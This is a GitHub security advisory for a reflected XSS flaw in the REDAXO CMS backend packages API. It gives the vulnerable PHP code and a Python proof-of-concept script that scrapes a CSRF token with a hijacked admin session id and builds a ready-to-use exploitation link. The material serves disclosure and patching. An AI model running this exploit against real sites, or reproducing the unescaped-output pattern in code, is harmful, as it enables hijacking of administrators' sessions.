GitHub Advisoryadvisory · Packagist
GHSA-xq4j-g85q-wf97 REDAXO has reflected XSS backend packages API via function parameter (CSRF token required)
LOW
Official page ↗
- Ecosystem
- Packagist
- Packages
- redaxo/source
- Severity
- Low
- CVSS vector
- CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N
- Weaknesses
- CWE-79
- Reviewed
- 2026-04-10
Affected packages
• Packagist redaxo/source: < 5.21.0 → fixed in 5.21.0
Description
Summary
A reflected XSS vulnerability has been identified in the REDAXO backend. The `function` parameter is concatenated into an API error message and rendered without HTML escaping.
---
Details
Root cause
User input `function` is injected into an exception message, then rendered by `rex_view::error()` which delegates to `rex_view::message()` without HTML escaping.
Vulnerable code (`redaxo/src/core/lib/packages/api_package.php`) :
```php
$function = rex_request('function', 'string');
throw new rex_api_exception('Unknown package function "' . $function . '"!');
```
Sink (`redaxo/src/core/lib/view.php`) :
```php
return '' . $message . '';
```
Source -> sink flow
• Source: `function` (GET)
• Propagation: concatenated into the exception message
• Sink: rendered via `rex_view::error()` -> `rex_view::message()` without escaping
Authentication required: yes (backend session)
---
PoC - Exploit
```python
!/usr/bin/env python3
import re
import urllib.parse
import requests
TARGET_URL = "http://poc.local/"
BACKEND_PATH = "redaxo/index.php"
A valid backend PHP session id (must belong to a user who can access the Packages page)
SESSION_ID = "xxxxxxxxxxxxxxxxxxxxx
https://github.com/user-attachments/assets/94093253-abd6-4380-ad46-6b748541a598
"
VERIFY_SSL = False
TIMEOUT = 15
PAYLOAD = '\\">'
def build_backend_url() -> str:
base = TARGET_URL.rstrip('/')
return f"{base}/{BACKEND_PATH.lstrip('/')}"
def extract_api_csrf(html_text: str) -> str:
m = re.search(r'rex-api-call=package[^\"]+_csrf_token=([^&\"\s]+)', html_text)
if not m:
raise RuntimeError("CSRF token for rex_api_call=package was not found in the page HTML.")
return m.group(1)
def set_session_cookie(session: requests.Session) -> None:
parsed = urllib.parse.urlparse(TARGET_URL)
if parsed.hostname:
session.cookies.set("PHPSESSID", SESSION_ID, domain=parsed.hostname, path="/")
def main() -> None:
backend_url = build_backend_url()
s = requests.Session()
set_session_cookie(s)
# Backend session required (role with access to packages)
r0 = s.get(backend_url, timeout=TIMEOUT, verify=VERIFY_SSL)
if "rex-page-login" in r0.text or "rex_user_login" in r0.text:
print("[!] Invalid/expired PHPSESSID. Update SESSION_ID with a valid backend session.")
return
r = s.get(backend_url, params={"page": "packages"}, timeout=TIMEOUT, verify=VERIFY_SSL)
if r.status_code != 200:
print(f"[!] Failed to access packages page (HTTP {r.status_code}).")
return
api_token = extract_api_csrf(r.text)
params = {
"page": "packages",
"rex-api-call": "package",
"function": PAYLOAD,
"package": "nonexistent",
"_csrf_token": api_token,
}
exploit_url = f"{backend_url}?{urllib.parse.urlencode(params)}"
print(exploit_url)
if __name__ == "__main__":
main()
```
To run the PoC you must set a valid admin account PHPSSID. The PoC will then automatically retrieve the CSRF token and generate a ready-to-use exploitation link.
---
Impact
• Confidentiality: Low : no direct session theft (HttpOnly cookies), but possibility to access/exfiltrate data available via the DOM or via same-origin requests if the XSS executes in a victim’s session.
• Integrity: Low : possibility to chain backend actions on behalf of the user (same-origin requests) only if execution takes place in a victim session; otherwise the impact is limited to the user who triggers the call.
• Availability: Low : the XSS could disrupt the administration interface or trigger unwanted actions, but the token requirement strongly limits realistic scenarios.
Demo
https://github.com/user-attachments/assets/41d0186a-7ca0-4482-86c5-8bea6c8f6ac6
Related
Weakness · CWE (1)
- CWE-79 Improper Neutralization of Input During Web Page Generation weakness